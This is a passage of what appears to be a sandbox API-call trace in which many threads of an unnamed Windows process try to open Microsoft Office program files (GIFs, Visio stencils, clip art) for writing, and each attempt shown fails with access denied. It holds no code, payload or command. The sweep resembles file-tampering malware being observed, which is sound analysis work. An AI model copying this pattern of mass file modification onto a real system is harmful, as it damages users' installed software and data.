Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF", dwFileAttributes=0x20) returned 0 [0204.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir49f.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0204.496] GetLastError () returned 0x5 [0204.496] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF", dwFileAttributes=0x20) returned 0 [0204.496] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c759a8) returned 1 Thread: id = 9506 os_tid = 0xa20 [0203.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir4b.gif")) returned 0x20 [0204.494] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF", dwFileAttributes=0x20) returned 0 [0204.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir4b.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0204.495] GetLastError () returned 0x5 [0204.495] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF", dwFileAttributes=0x20) returned 0 [0204.495] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c76a48) returned 1 Thread: id = 9507 os_tid = 0x1640 [0203.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PEVESS_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pevess_m.vss")) [0208.115] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PEVESS_M.VSS", dwFileAttributes=0x20) returned 0 [0208.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PEVESS_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pevess_m.vss"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0208.116] GetLastError () returned 0x5 [0208.116] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PEVESS_M.VSS", dwFileAttributes=0x20) returned 0 [0208.116] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e6aa8) returned 1 Thread: id = 9508 os_tid = 0x1644 [0203.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PEVESS_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pevess_u.vss")) returned 0x20 [0208.117] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PEVESS_U.VSS", dwFileAttributes=0x20) returned 0 [0208.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PEVESS_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pevess_u.vss"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0208.118] GetLastError () returned 0x5 [0208.118] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PEVESS_U.VSS", dwFileAttributes=0x20) returned 0 [0208.118] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e6a08) returned 1 Thread: id = 9509 os_tid = 0x1648 [0203.990] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PIPE1_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pipe1_m.vss")) returned 0x20 [0208.119] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PIPE1_M.VSS", dwFileAttributes=0x20) returned 0 [0208.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PIPE1_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pipe1_m.vss"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0208.120] GetLastError () returned 0x5 [0208.120] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PIPE1_M.VSS", dwFileAttributes=0x20) returned 0 [0208.120] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e6968) returned 1 Thread: id = 9510 os_tid = 0x164c [0203.990] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PIPE1_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pipe1_u.vss")) returned 0x20 [0208.121] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PIPE1_U.VSS", dwFileAttributes=0x20) returned 0 [0208.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PIPE1_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pipe1_u.vss"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0208.121] GetLastError () returned 0x5 [0208.121] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PIPE1_U.VSS", dwFileAttributes=0x20) returned 0 [0208.121] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e66e8) returned 1 Thread: id = 9511 os_tid = 0x1654 [0203.990] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PIPE2_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pipe2_m.vss")) returned 0x20 [0208.122] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PIPE2_M.VSS", dwFileAttributes=0x20) returned 0 [0208.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PIPE2_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pipe2_m.vss"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0208.122] GetLastError () returned 0x5 [0208.122] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PIPE2_M.VSS", dwFileAttributes=0x20) returned 0 [0208.123] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e7a48) returned 1 Thread: id = 9512 os_tid = 0x1658 [0203.990] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PIPE2_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pipe2_u.vss")) returned 0x20 [0208.124] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PIPE2_U.VSS", dwFileAttributes=0x20) returned 0 [0208.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PIPE2_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\pipe2_u.vss"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0208.124] GetLastError () returned 0x5 [0208.124] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PIPE2_U.VSS", dwFileAttributes=0x20) returned 0 [0208.124] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e7ae8) returned 1 Thread: id = 9521 os_tid = 0x1684 [0204.194] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir4f.gif")) returned 0x20 [0204.431] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF", dwFileAttributes=0x20) returned 0 [0204.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir4f.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0204.432] GetLastError () returned 0x5 [0204.432] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF", dwFileAttributes=0x20) returned 0 [0204.432] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c75c08) returned 1 Thread: id = 9522 os_tid = 0xa84 [0204.194] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir50b.gif")) returned 0x20 [0204.430] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF", dwFileAttributes=0x20) returned 0 [0204.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir50b.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0204.431] GetLastError () returned 0x5 [0204.431] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF", dwFileAttributes=0x20) returned 0 [0204.431] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c776c0) returned 1 Thread: id = 9523 os_tid = 0x168c [0204.195] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir50f.gif")) returned 0x20 [0204.521] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF", dwFileAttributes=0x20) returned 0 [0204.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir50f.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0204.521] GetLastError () returned 0x5 [0204.521] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF", dwFileAttributes=0x20) returned 0 [0204.521] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c77590) returned 1 Thread: id = 9524 os_tid = 0x1690 [0204.195] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir51b.gif")) returned 0x20 [0204.520] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF", dwFileAttributes=0x20) returned 0 [0204.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir51b.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0204.520] GetLastError () returned 0x5 [0204.520] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF", dwFileAttributes=0x20) returned 0 [0204.520] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c75f00) returned 1 Thread: id = 9525 os_tid = 0x11f4 [0204.196] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir51f.gif")) returned 0x20 [0204.519] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF", dwFileAttributes=0x20) returned 0 [0204.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir51f.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0204.519] GetLastError () returned 0x5 [0204.519] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF", dwFileAttributes=0x20) returned 0 [0204.519] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c760c8) returned 1 Thread: id = 9560 os_tid = 0xec0 [0204.295] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PLANT_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\plant_u.vss")) returned 0x20 [0208.077] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PLANT_U.VSS", dwFileAttributes=0x20) returned 0 [0208.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PLANT_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\plant_u.vss"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0208.077] GetLastError () returned 0x5 [0208.077] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PLANT_U.VSS", dwFileAttributes=0x20) returned 0 [0208.077] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e7c28) returned 1 Thread: id = 9568 os_tid = 0x924 [0204.298] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PRCIMP_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\prcimp_m.vst")) returned 0x20 [0208.110] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PRCIMP_M.VST", dwFileAttributes=0x20) returned 0 [0208.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PRCIMP_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\prcimp_m.vst"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0208.110] GetLastError () returned 0x5 [0208.111] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\PRCIMP_M.VST", dwFileAttributes=0x20) returned 0 [0208.111] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8128) returned 1 Thread: id = 9587 os_tid = 0xcdc [0204.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103812.wmf")) returned 0x20 [0209.509] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF", dwFileAttributes=0x20) returned 0 [0209.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103812.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0209.509] GetLastError () returned 0x5 [0209.509] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF", dwFileAttributes=0x20) returned 0 [0209.509] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x943130) returned 1 Thread: id = 9588 os_tid = 0x1300 [0204.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103850.wmf")) returned 0x20 [0209.510] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF", dwFileAttributes=0x20) returned 0 [0209.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103850.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0209.510] GetLastError () returned 0x5 [0209.510] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF", dwFileAttributes=0x20) returned 0 [0209.510] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9431b8) returned 1 Thread: id = 9589 os_tid = 0x1c78 [0204.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105230.wmf")) returned 0x20 [0209.511] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF", dwFileAttributes=0x20) returned 0 [0209.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105230.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0209.511] GetLastError () returned 0x5 [0209.511] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF", dwFileAttributes=0x20) returned 0 [0209.511] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x943240) returned 1 Thread: id = 9604 os_tid = 0xf74 [0204.391] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105266.wmf")) returned 0x20 [0209.642] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF", dwFileAttributes=0x20) returned 0 [0209.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105266.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0209.642] GetLastError () returned 0x5 [0209.642] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF", dwFileAttributes=0x20) returned 0 [0209.642] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x943680) returned 1 Thread: id = 9605 os_tid = 0x1d88 [0204.391] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105272.wmf")) returned 0x20 [0209.643] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF", dwFileAttributes=0x20) returned 0 [0209.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105272.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0209.644] GetLastError () returned 0x5 [0209.644] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF", dwFileAttributes=0x20) returned 0 [0209.644] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x943708) returned 1 Thread: id = 9625 os_tid = 0x109c [0204.466] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105380.wmf")) returned 0x20 [0209.579] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF", dwFileAttributes=0x20) returned 0 [0209.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105380.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0209.579] GetLastError () returned 0x5 [0209.579] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF", dwFileAttributes=0x20) returned 0 [0209.579] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9441a8) returned 1 Thread: id = 9638 os_tid = 0x138c [0204.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\RCKEQP_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\rckeqp_m.vss")) returned 0x20 [0208.050] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\RCKEQP_M.VSS", dwFileAttributes=0x20) returned 0 [0208.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\RCKEQP_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\rckeqp_m.vss"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0208.050] GetLastError () returned 0x5 [0208.050] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\RCKEQP_M.VSS", dwFileAttributes=0x20) returned 0 [0208.050] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4a7308) returned 1 Thread: id = 9639 os_tid = 0x1390 [0204.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\RCKEQP_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\rckeqp_u.vss")) returned 0x20 [0208.051] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\RCKEQP_U.VSS", dwFileAttributes=0x20) returned 0 [0208.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\RCKEQP_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\rckeqp_u.vss"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0208.052] GetLastError () returned 0x5 [0208.052] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\RCKEQP_U.VSS", dwFileAttributes=0x20) returned 0 [0208.052] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4a73a8) returned 1 Thread: id = 9640 os_tid = 0x1394 [0204.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\RCKSVR_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\rcksvr_m.vss")) returned 0x20 [0207.940] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\RCKSVR_M.VSS", dwFileAttributes=0x20) returned 0 [0207.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\RCKSVR_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\rcksvr_m.vss"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0207.940] GetLastError () returned 0x5 [0207.940] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\RCKSVR_M.VSS", dwFileAttributes=0x20) returned 0 [0207.940] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4a7448) returned 1 Thread: id = 9641 os_tid = 0x1398 [0204.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\RCKSVR_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\rcksvr_u.vss")) returned 0x20 [0207.941] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\RCKSVR_U.VSS", dwFileAttributes=0x20) returned 0 [0207.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\RCKSVR_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\rcksvr_u.vss"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0207.941] GetLastError () returned 0x5 [0207.941] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\RCKSVR_U.VSS", dwFileAttributes=0x20) returned 0 [0207.941] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4a74e8) returned 1 Thread: id = 9642 os_tid = 0x139c [0204.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\RECRT_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\recrt_m.vss")) returned 0x20 [0207.942] 